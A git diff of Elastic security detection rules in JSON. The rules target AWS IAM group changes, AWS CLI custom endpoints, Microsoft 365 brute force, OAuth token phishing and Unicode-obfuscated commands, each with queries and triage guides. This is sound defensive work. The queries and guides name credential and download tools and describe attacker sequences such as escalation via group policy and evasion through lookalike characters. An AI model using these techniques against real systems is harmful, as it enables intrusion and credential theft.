"attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation.", + "false_positives": [ + "Legitimate operations such as new user onboarding, role changes, or service account updates may trigger this event. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. User additions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "user.target.name", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS IAM User Addition to Group", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS IAM User Addition to Group\n\nThis rule detects when an IAM user is added to an IAM group via the `AddUserToGroup` API call. If the target group holds elevated privileges, this action may immediately grant that user wide-ranging access useful for credential misuse or lateral movement. This rule helps detect unauthorized privilege escalation via group membership change. Treat as high-risk when the destination group has wide scope (e.g., AdministratorAccess or permissive inline policies).\n\n#### Possible investigation steps\n\n- **Identify the actor and target** \n - Check `aws.cloudtrail.user_identity.arn` for who added the user. \n - From `aws.cloudtrail.request_parameters`, capture `userName` (added user) and `groupName` (destination group). \n - Check `source.ip`, `user_agent.original`, `cloud.region` for unusual patterns.\n\n- **Examine the group\u2019s privileges** \n - Use `GetGroup`, `ListAttachedGroupPolicies` to see what policies the group holds. Look for `AdministratorAccess`, `iam:*`, `s3:*`, `ec2:*` or cross-account permissions. \n - Check whether the group was recently created (`CreateGroup`) or recently escalated (`AttachGroupPolicy`). Common attacker pattern: create > attach policy > add user.\n\n- **Correlate with surrounding activity** \n - Look for preceding events by the actor: `AssumeRole`, `GetSessionToken`, `CreateAccessKey`, `AttachGroupPolicy`. \n - Follow the added user\u2019s activities after group membership. Look for sensitive operations (e.g., IAM actions, S3 policy changes, EC2 snapshot/AMI activity).\n\n\n### False positive analysis\n\n- Onboarding or role transitions may legitimately add users to groups. \n- Automated Identity-Management pipelines may add many users to service groups; validate know\n\n### Response and remediation\n\n- **Containment**:\n - If unapproved, remove the user from the group immediately (`RemoveUserFromGroup`) and rotate their access keys.\n - Temporarily restrict group policy changes while assessing blast radius.\n- **Investigation and scoping**:\n - Review all actions executed by the newly added user since the change (ex: PutBucketPolicy, CreateAccessKey, PassRole).\n - Confirm whether other users were added to the same group within the same window. \n- **Recovery and hardening**: \n - Enforce least privilege by redesigning large-group membership. \n - Restrict `iam:AddUserToGroup` to only appropriate service principals with approval workflow. \n - Create detections for AttachGroupPolicy to powerful policies and for mass AddUserToGroup patterns.\n\n### Additional information\n[AWS Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/)\n", + "query": "event.dataset: aws.cloudtrail and \n event.provider: iam.amazonaws.com and \n event.action: AddUserToGroup and \n event.outcome: success\n", + "references": [ + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "333de828-8190-4cf5-8d7c-7575846f6fe0", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Use Case: Identity and Access Audit", + "Tactic: Credential Access", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 212 + }, + "id": "333de828-8190-4cf5-8d7c-7575846f6fe0_212", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/349276c0-5fcf-11ef-b1a9-f661ea17fbce_2.json b/packages/security_detection_engine/kibana/security_rule/349276c0-5fcf-11ef-b1a9-f661ea17fbce_2.json deleted file mode 100644 index 554a8bd5d77..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/349276c0-5fcf-11ef-b1a9-f661ea17fbce_2.json +++ /dev/null @@ -1,85 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects the use of the AWS CLI with the `--endpoint-url` argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations.", - "from": "now-9m", - "history_window_start": "now-10d", - "index": [ - "logs-endpoint.events.process-*" - ], - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS CLI Command with Custom Endpoint URL", - "new_terms_fields": [ - "user.name" - ], - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS CLI Command with Custom Endpoint URL\n\nThe AWS CLI allows users to interact with AWS services via command-line, offering flexibility in managing cloud resources. The `--endpoint-url` option lets users specify alternative endpoints, which can be exploited by adversaries to reroute requests to malicious servers, bypassing security controls. The detection rule identifies such misuse by monitoring for the `--endpoint-url` argument in process logs, flagging potential unauthorized activities.\n\n### Possible investigation steps\n\n- Review the process logs to identify the specific command line that triggered the alert, focusing on the presence of the --endpoint-url argument.\n- Investigate the custom endpoint URL specified in the command to determine if it is a known malicious or unauthorized domain.\n- Check the user account associated with the process to assess if it has a history of suspicious activity or if it has been compromised.\n- Analyze network logs to trace any outbound connections to the custom endpoint URL and evaluate the data being transmitted.\n- Correlate the event with other security alerts or logs to identify any patterns or additional indicators of compromise related to the same user or endpoint.\n- Verify if the AWS credentials used in the command have been exposed or misused in other contexts, potentially indicating credential theft or abuse.\n\n### False positive analysis\n\n- Internal testing environments may use custom endpoint URLs for development purposes. To manage this, create exceptions for known internal IP addresses or domain names associated with these environments.\n- Organizations using AWS CLI with custom endpoints for legitimate third-party integrations might trigger this rule. Identify and whitelist these specific integrations by their endpoint URLs to prevent false positives.\n- Automated scripts or tools that interact with AWS services through custom endpoints for monitoring or backup purposes can be flagged. Review and document these scripts, then exclude them from detection by process name or specific endpoint URL.\n- Some organizations may use proxy servers that require custom endpoint URLs for AWS CLI operations. Verify these configurations and exclude the associated endpoint URLs from the detection rule.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.\n- Review process logs and network traffic to identify any data that may have been redirected to unauthorized endpoints and assess the extent of potential data exposure.\n- Revoke any AWS credentials or access keys used on the affected system to prevent further misuse and rotate them with new credentials.\n- Conduct a thorough investigation to determine if any other systems have been compromised or if similar unauthorized endpoint usage has occurred elsewhere in the network.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional containment or remediation actions are necessary.\n- Implement network-level controls to block known malicious endpoints and enhance monitoring for unusual AWS CLI usage patterns across the environment.\n- Update security policies and endpoint protection configurations to detect and alert on the use of custom endpoint URLs in AWS CLI commands, ensuring rapid response to future incidents.", - "query": "host.os.type: \"linux\" and event.category: \"process\" and process.name: \"aws\" and process.args: \"--endpoint-url\"\n", - "references": [ - "https://sysdig.com/blog/scarleteel-2-0/" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.category", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "349276c0-5fcf-11ef-b1a9-f661ea17fbce", - "severity": "medium", - "tags": [ - "Data Source: Elastic Defend", - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Command and Control", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0011", - "name": "Command and Control", - "reference": "https://attack.mitre.org/tactics/TA0011/" - }, - "technique": [ - { - "id": "T1102", - "name": "Web Service", - "reference": "https://attack.mitre.org/techniques/T1102/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "new_terms", - "version": 2 - }, - "id": "349276c0-5fcf-11ef-b1a9-f661ea17fbce_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/35ab3cfa-6c67-11ef-ab4d-f661ea17fbcc_105.json b/packages/security_detection_engine/kibana/security_rule/35ab3cfa-6c67-11ef-ab4d-f661ea17fbcc_105.json deleted file mode 100644 index 622391e12fc..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/35ab3cfa-6c67-11ef-ab4d-f661ea17fbcc_105.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies potential brute-force attacks targeting Microsoft 365 user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to Microsoft 365 services such as Exchange Online, SharePoint, or Teams.", - "false_positives": [ - "Automated processes that attempt to authenticate using expired credentials or have misconfigured authentication settings may lead to false positives." - ], - "from": "now-60m", - "interval": "15m", - "language": "esql", - "license": "Elastic License v2", - "name": "Microsoft 365 Brute Force via Entra ID Sign-Ins", - "note": "## Triage and analysis\n\n### Investigating Microsoft 365 Brute Force via Entra ID Sign-Ins\n\nIdentifies brute-force authentication activity against Microsoft 365 services using Entra ID sign-in logs. This detection groups and classifies failed sign-in attempts based on behavior indicative of password spraying, credential stuffing, or password guessing. The classification (`bf_type`) is included for immediate triage.\n\n### Possible investigation steps\n\n- Review `bf_type`: Classifies the brute-force behavior (`password_spraying`, `credential_stuffing`, `password_guessing`).\n- Examine `user_id_list`: Review the identities targeted. Are they admins, service accounts, or external identities?\n- Review `login_errors`: Multiple identical errors (e.g., `\"Invalid grant...\"`) suggest automated abuse or tooling.\n- Check `ip_list` and `source_orgs`: Determine if requests came from known VPNs, hosting providers, or anonymized infrastructure.\n- Validate `unique_ips` and `countries`: Multiple countries or IPs in a short window may indicate credential stuffing or distributed spray attempts.\n- Compare `total_attempts` vs `duration_seconds`: High volume over a short duration supports non-human interaction.\n- Inspect `user_agent.original` via `device_detail_browser`: Clients like `Python Requests` or `curl` are highly suspicious.\n- Investigate `client_app_display_name` and `incoming_token_type`: Identify non-browser-based logins, token abuse or commonly mimicked clients like VSCode.\n- Review `target_resource_display_name`: Confirm the service being targeted (e.g., SharePoint, Exchange). This may be what authorization is being attempted against.\n- Pivot using `session_id` and `device_detail_device_id`: Determine if a single device is spraying multiple accounts.\n- Check `conditional_access_status`: If \"notApplied\", determine whether conditional access is properly scoped.\n- Correlate `user_principal_name` with successful sign-ins: Investigate surrounding logs for lateral movement or privilege abuse.\n\n### False positive analysis\n\n- Developer automation (e.g., CI/CD logins) or mobile sync errors may create noisy but benign login failures.\n- Red team exercises or pentesting can resemble brute-force patterns.\n- Legacy protocols or misconfigured service principals may trigger repeated login failures from the same IP or session.\n\n### Response and remediation\n\n- Notify identity or security operations teams to investigate further.\n- Lock or reset affected user accounts if compromise is suspected.\n- Block the source IP(s) or ASN temporarily using conditional access or firewall rules.\n- Review tenant-wide MFA and conditional access enforcement.\n- Audit targeted accounts for password reuse across systems or tenants.\n- Enable lockout or throttling policies for repeated failed login attempts.\n", - "query": "FROM logs-azure.signinlogs*\n\n| EVAL\n time_window = DATE_TRUNC(15 minutes, @timestamp),\n user_id = TO_LOWER(azure.signinlogs.properties.user_principal_name),\n ip = source.ip,\n login_error = azure.signinlogs.result_description,\n error_code = azure.signinlogs.properties.status.error_code,\n request_type = TO_LOWER(azure.signinlogs.properties.incoming_token_type),\n app_name = TO_LOWER(azure.signinlogs.properties.app_display_name),\n asn_org = source.`as`.organization.name,\n country = source.geo.country_name,\n user_agent = user_agent.original,\n event_time = @timestamp\n\n| WHERE event.dataset == \"azure.signinlogs\"\n AND event.category == \"authentication\"\n AND azure.signinlogs.category IN (\"NonInteractiveUserSignInLogs\", \"SignInLogs\")\n AND azure.signinlogs.properties.resource_display_name RLIKE \"(.*)365|SharePoint|Exchange|Teams|Office(.*)\"\n AND event.outcome == \"failure\"\n AND error_code != 50053\n AND azure.signinlogs.properties.status.error_code IN (\n 50034, // UserAccountNotFound\n 50126, // InvalidUsernameOrPassword\n 50055, // PasswordExpired\n 50056, // InvalidPassword\n 50057, // UserDisabled\n 50064, // CredentialValidationFailure\n 50076, // MFARequiredButNotPassed\n 50079, // MFARegistrationRequired\n 50105, // EntitlementGrantsNotFound\n 70000, // InvalidGrant\n 70008, // ExpiredOrRevokedRefreshToken\n 70043, // BadTokenDueToSignInFrequency\n 80002, // OnPremisePasswordValidatorRequestTimedOut\n 80005, // OnPremisePasswordValidatorUnpredictableWebException\n 50144, // InvalidPasswordExpiredOnPremPassword\n 50135, // PasswordChangeCompromisedPassword\n 50142, // PasswordChangeRequiredConditionalAccess\n 120000, // PasswordChangeIncorrectCurrentPassword\n 120002, // PasswordChangeInvalidNewPasswordWeak\n 120020 // PasswordChangeFailure\n )\n AND user_id IS NOT NULL AND user_id != \"\"\n AND user_agent != \"Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0\"\n\n| STATS\n authentication_requirement = VALUES(azure.signinlogs.properties.authentication_requirement),\n client_app_id = VALUES(azure.signinlogs.properties.app_id),\n client_app_display_name = VALUES(azure.signinlogs.properties.app_display_name),\n target_resource_id = VALUES(azure.signinlogs.properties.resource_id),\n target_resource_display_name = VALUES(azure.signinlogs.properties.resource_display_name),\n conditional_access_status = VALUES(azure.signinlogs.properties.conditional_access_status),\n device_detail_browser = VALUES(azure.signinlogs.properties.device_detail.browser),\n device_detail_device_id = VALUES(azure.signinlogs.properties.device_detail.device_id),\n device_detail_operating_system = VALUES(azure.signinlogs.properties.device_detail.operating_system),\n incoming_token_type = VALUES(azure.signinlogs.properties.incoming_token_type),\n risk_state = VALUES(azure.signinlogs.properties.risk_state),\n session_id = VALUES(azure.signinlogs.properties.session_id),\n user_id = VALUES(azure.signinlogs.properties.user_id),\n user_principal_name = VALUES(azure.signinlogs.properties.user_principal_name),\n result_description = VALUES(azure.signinlogs.result_description),\n result_signature = VALUES(azure.signinlogs.result_signature),\n result_type = VALUES(azure.signinlogs.result_type),\n\n unique_users = COUNT_DISTINCT(user_id),\n user_id_list = VALUES(user_id),\n login_errors = VALUES(login_error),\n unique_login_errors = COUNT_DISTINCT(login_error),\n error_codes = VALUES(error_code),\n unique_error_codes = COUNT_DISTINCT(error_code),\n request_types = VALUES(request_type),\n app_names = VALUES(app_name),\n ip_list = VALUES(ip),\n unique_ips = COUNT_DISTINCT(ip),\n source_orgs = VALUES(asn_org),\n countries = VALUES(country),\n unique_country_count = COUNT_DISTINCT(country),\n unique_asn_orgs = COUNT_DISTINCT(asn_org),\n first_seen = MIN(event_time),\n last_seen = MAX(event_time),\n total_attempts = COUNT()\nBY time_window\n\n| EVAL\n duration_seconds = DATE_DIFF(\"seconds\", first_seen, last_seen),\n bf_type = CASE(\n // Many users, relatively few distinct login errors, distributed over multiple IPs (but not too many),\n // and happens quickly. Often bots using leaked credentials.\n unique_users >= 10 AND total_attempts >= 30 AND unique_login_errors <= 3\n AND unique_ips >= 5\n AND duration_seconds <= 600\n AND unique_users > unique_ips,\n \"credential_stuffing\",\n\n // One password against many users. Single error (e.g., \"InvalidPassword\"), not necessarily fast.\n unique_users >= 15 AND unique_login_errors == 1 AND total_attempts >= 15 AND duration_seconds <= 1800,\n \"password_spraying\",\n\n // One user targeted repeatedly (same error), OR extremely noisy pattern from many IPs.\n (unique_users == 1 AND unique_login_errors == 1 AND total_attempts >= 30 AND duration_seconds <= 300)\n OR (unique_users <= 3 AND unique_ips > 30 AND total_attempts >= 100),\n \"password_guessing\",\n\n // everything else\n \"other\"\n )\n\n| KEEP\n time_window, bf_type, duration_seconds, total_attempts, first_seen, last_seen,\n unique_users, user_id_list, login_errors, unique_login_errors,\n unique_error_codes, error_codes, request_types, app_names,\n ip_list, unique_ips, source_orgs, countries,\n unique_country_count, unique_asn_orgs,\n authentication_requirement, client_app_id, client_app_display_name,\n target_resource_id, target_resource_display_name, conditional_access_status,\n device_detail_browser, device_detail_device_id, device_detail_operating_system,\n incoming_token_type, risk_state, session_id, user_id,\n user_principal_name, result_description, result_signature, result_type\n\n| WHERE bf_type != \"other\"\n", - "references": [ - "https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying", - "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", - "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", - "https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/", - "https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes", - "https://github.com/0xZDH/Omnispray", - "https://github.com/0xZDH/o365spray" - ], - "risk_score": 47, - "rule_id": "35ab3cfa-6c67-11ef-ab4d-f661ea17fbcc", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Domain: SaaS", - "Domain: Identity", - "Data Source: Azure", - "Data Source: Entra ID", - "Data Source: Entra ID Sign-in Logs", - "Use Case: Identity and Access Audit", - "Use Case: Threat Detection", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.001", - "name": "Password Guessing", - "reference": "https://attack.mitre.org/techniques/T1110/001/" - }, - { - "id": "T1110.003", - "name": "Password Spraying", - "reference": "https://attack.mitre.org/techniques/T1110/003/" - }, - { - "id": "T1110.004", - "name": "Credential Stuffing", - "reference": "https://attack.mitre.org/techniques/T1110/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 105 - }, - "id": "35ab3cfa-6c67-11ef-ab4d-f661ea17fbcc_105", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/36188365-f88f-4f70-8c1d-0b9554186b9c_2.json b/packages/security_detection_engine/kibana/security_rule/36188365-f88f-4f70-8c1d-0b9554186b9c_2.json deleted file mode 100644 index 29b8009fca9..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/36188365-f88f-4f70-8c1d-0b9554186b9c_2.json +++ /dev/null @@ -1,64 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies sign-ins on behalf of a principal user to the Microsoft Graph API from multiple IPs using the Microsoft Authentication Broker or Visual Studio Code application. This behavior may indicate an adversary using a phished OAuth refresh token.", - "from": "now-60m", - "interval": "59m", - "language": "esql", - "license": "Elastic License v2", - "name": "Suspicious Microsoft 365 UserLoggedIn via OAuth Code", - "note": "## Triage and analysis\n\n### Investigating Suspicious Microsoft 365 UserLoggedIn via OAuth Code\n\n### Possible Investigation Steps:\n\n- `o365.audit.UserId`: The identity value the application is acting on behalf of principal user.\n- `unique_ips`: Analyze the list of unique IP addresses used within the 30-minute window. Determine whether these originate from different geographic regions, cloud providers, or anonymizing infrastructure (e.g., Tor or VPNs).\n- `target_time_window`: Use the truncated time window to pivot into raw events to reconstruct the full sequence of resource access events, including exact timestamps and service targets.\n- `azure.auditlogs` to check for device join or registration events around the same timeframe.\n- `azure.identityprotection` to identify correlated risk detections, such as anonymized IP access or token replay.\n- Any additional sign-ins from the `ips` involved, even outside the broker, to determine if tokens have been reused elsewhere.\n\n### False Positive Analysis\n\n- Developers or IT administrators working across environments may also produce similar behavior.\n\n### Response and Remediation\n\n- If confirmed unauthorized, revoke all refresh tokens for the affected user and remove any devices registered during this session.\n- Notify the user and determine whether the device join or authentication activity was expected.\n- Audit Conditional Access and broker permissions (`29d9ed98-a469-4536-ade2-f981bc1d605e`) to ensure policies enforce strict access controls.\n- Consider blocking token-based reauthentication to Microsoft Graph and DRS from suspicious locations or user agents.\n- Continue monitoring for follow-on activity like lateral movement or privilege escalation.\n", - "query": "from logs-o365.audit-*\n| WHERE event.dataset == \"o365.audit\" and event.action == \"UserLoggedIn\" and\n\n // ensure source, application and user are not null\n source.ip is not null and\n o365.audit.UserId is not null and\n o365.audit.ApplicationId is not null and\n\n // filter for user principals that are not service accounts\n o365.audit.UserType in (\"0\", \"2\", \"3\", \"10\") and\n\n // filter for successful logon to Microsoft Graph and from the Microsoft Authentication Broker or Visual Studio Code\n o365.audit.ApplicationId in (\"aebc6443-996d-45c2-90f0-388ff96faa56\", \"29d9ed98-a469-4536-ade2-f981bc1d605e\") and\n o365.audit.ObjectId in (\"00000003-0000-0000-c000-000000000000\")\n\n// keep relevant fields only\n| keep @timestamp, o365.audit.UserId, source.ip, o365.audit.ApplicationId, o365.audit.ObjectId, o365.audit.ExtendedProperties.RequestType, source.as.organization.name, o365.audit.ExtendedProperties.ResultStatusDetail\n\n// case statements to track which are OAuth2 authorization request via redirect and which are related to OAuth2 code to token conversion\n| eval\n oauth_authorize = case(o365.audit.ExtendedProperties.RequestType == \"OAuth2:Authorize\" and o365.audit.ExtendedProperties.ResultStatusDetail == \"Redirect\", o365.audit.UserId, null),\n oauth_token = case(o365.audit.ExtendedProperties.RequestType == \"OAuth2:Token\", o365.audit.UserId, null)\n\n// split time to 30 minutes intervals\n| eval target_time_window = DATE_TRUNC(30 minutes, @timestamp)\n\n// aggregate by principal, applicationId, objectId and time window\n| stats\n unique_ips = COUNT_DISTINCT(source.ip),\n source_ips = VALUES(source.ip),\n appIds = VALUES(o365.audit.ApplicationId),\n asn = values(`source.as.organization.name`),\n is_oauth_token = COUNT_DISTINCT(oauth_token),\n is_oauth_authorize = COUNT_DISTINCT(oauth_authorize)\nby o365.audit.UserId, target_time_window, o365.audit.ApplicationId, o365.audit.ObjectId\n\n// filter for cases where the same appId is used by the same principal user to access the same object and from multiple addresses via OAuth2 token\n| where unique_ips >= 2 and is_oauth_authorize > 0 and is_oauth_token > 0\n", - "references": [ - "https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/", - "https://github.com/dirkjanm/ROADtools", - "https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/" - ], - "risk_score": 73, - "rule_id": "36188365-f88f-4f70-8c1d-0b9554186b9c", - "setup": "## Setup\n\nThe Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.\n", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Domain: Email", - "Domain: Identity", - "Data Source: Microsoft 365", - "Data Source: Microsoft 365 Audit Logs", - "Use Case: Identity and Access Audit", - "Use Case: Threat Detection", - "Resources: Investigation Guide", - "Tactic: Defense Evasion" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1550", - "name": "Use Alternate Authentication Material", - "reference": "https://attack.mitre.org/techniques/T1550/", - "subtechnique": [ - { - "id": "T1550.001", - "name": "Application Access Token", - "reference": "https://attack.mitre.org/techniques/T1550/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "36188365-f88f-4f70-8c1d-0b9554186b9c_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/37148ae6-c6ec-4fe4-88b1-02f40aed93a9_1.json b/packages/security_detection_engine/kibana/security_rule/37148ae6-c6ec-4fe4-88b1-02f40aed93a9_1.json new file mode 100644 index 00000000000..c6ee06cb527 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/37148ae6-c6ec-4fe4-88b1-02f40aed93a9_1.json @@ -0,0 +1,127 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the presence of unicode modifier letters in the process command_line. Adversaries sometimes replace ASCII characters with visually similar Unicode modifier letters or combining marks to evade simple string-based detections.", + "from": "now-9m", + "index": [ + "endgame-*", + "logs-crowdstrike.fdr*", + "logs-endpoint.events.process-*", + "logs-m365_defender.event-*", + "logs-sentinel_one_cloud_funnel.*", + "logs-system.security*", + "logs-windows.forwarded*", + "logs-windows.sysmon_operational-*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Command Obfuscation via Unicode Modifier Letters", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Command Obfuscation via Unicode Modifier Letters\n\nAdversaries sometimes replace ASCII characters with visually similar Unicode modifier letters or combining marks to evade simple string-based detections.\n\n### Possible investigation steps\n\n- Review the process execution details (command_line, parent, code signature, hash).\n- Analyze the full execution process tree to identify the root cause.\n- Check the creation of any persistence using scheduled tasks, Run key, services, shortcuts or startup folders.\n- Cross-reference with other logs or alerts to identify any related incidents or patterns of activity that might indicate a larger threat campaign.\n\n### False positive analysis\n\n- Legitimate internationalized applications and installers use Unicode (e.g., localized product names, non-Latin scripts).\n- Dev tools or fonts may create commands with combining marks (rare) \u2014 check installer/tool provenance.\n- Command lines that include user input, file names, or paths with non-ASCII characters (e.g., user folders) can trigger the rule.\n\n### Response and remediation\n\n- Isolate the host if there are signs of active compromise (outbound C2, credential theft, lateral movement).\n- Terminate the suspicious process and any direct descendants after collecting forensic evidence (memory, artifacts).\n- Collect EDR snapshots, full disk image or targeted file copies, registry hives, and network logs for investigation.\n- Remove any persistence entries (scheduled task, startup, services) tied to the activity.\n- Qurantine and submit samples to malware analysis; if confirmed malicious, remove and restore from known good backups.\n- Block and update indicators related to this activity (hashes, exact normalized command patterns, codepoint sequences, IPs/domains).\n- Run global hutning queries for same Unicode patterns, normalized variants, and identical parent/child process chains.\n", + "query": "process where host.os.type == \"windows\" and event.type == \"start\" and\n (\n process.name : (\"reg.exe\", \"net.exe\", \"net1.exe\", \"certutil.exe\", \"MSHTA.EXE\", \"msiexec.exe\", \"bitsadmin.exe\", \"CertReq.exe\", \"PrintBrm.exe\", \"MSBuild.exe\", \"wuauclt.exe\", \"curl.exe\", \"wget.exe\", \"ssh.exe\", \"Cmd.Exe\", \"PowerShell.EX\", \"CONHOST.EXE\", \"wscript.exe\", \"cscript.exe\", \"REGSVR32.EXE\", \"RUNDLL32.EXE\", \"procdump.exe\", \"ntdsutil.exe\", \"diskshadow.exe\", \"schtasks.exe\", \"sc.exe\", \"wmic.exe\", \"VSSADMIN.EXE\", \"WBADMIN.EXE\", \"iCACLS.EXE\", \"sftp.exe\", \"scp.exe\", \"esentutl.exe\", \"InstallUtil.exe\", \"wevtutil.exe\") or\n ?process.pe.original_file_name in (\"reg.exe\", \"net.exe\", \"net1.exe\", \"CertUtil.exe\", \"MSHTA.EXE\", \"msiexec.exe\", \"bitsadmin.exe\", \"CertReq.exe\", \"PrintBrm.exe\", \"MSBuild.exe\", \"wuauclt.exe\", \"curl.exe\", \"wget.exe\", \"ssh.exe\", \"Cmd.Exe\", \"PowerShell.EX\", \"CONHOST.EXE\", \"wscript.exe\", \"cscript.exe\", \"REGSVR32.EXE\", \"RUNDLL32.EXE\", \"procdump\", \"ntdsutil.exe\", \"diskshadow.exe\", \"schtasks.exe\", \"sc.exe\", \"wmic.exe\", \"VSSADMIN.EXE\", \"WBADMIN.EXE\", \"iCACLS.EXE\", \"sftp.exe\", \"scp.exe\", \"esentutl.exe\", \"InstallUtil.exe\", \"wevtutil.exe\")\n ) and\n process.command_line regex \"\"\".*[\u02b0-\u02ff\u1d2c-\u1dbb]+.*\"\"\"\n", + "references": [ + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "windows", + "version": "^3.0.0" + }, + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "m365_defender", + "version": "^3.0.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": 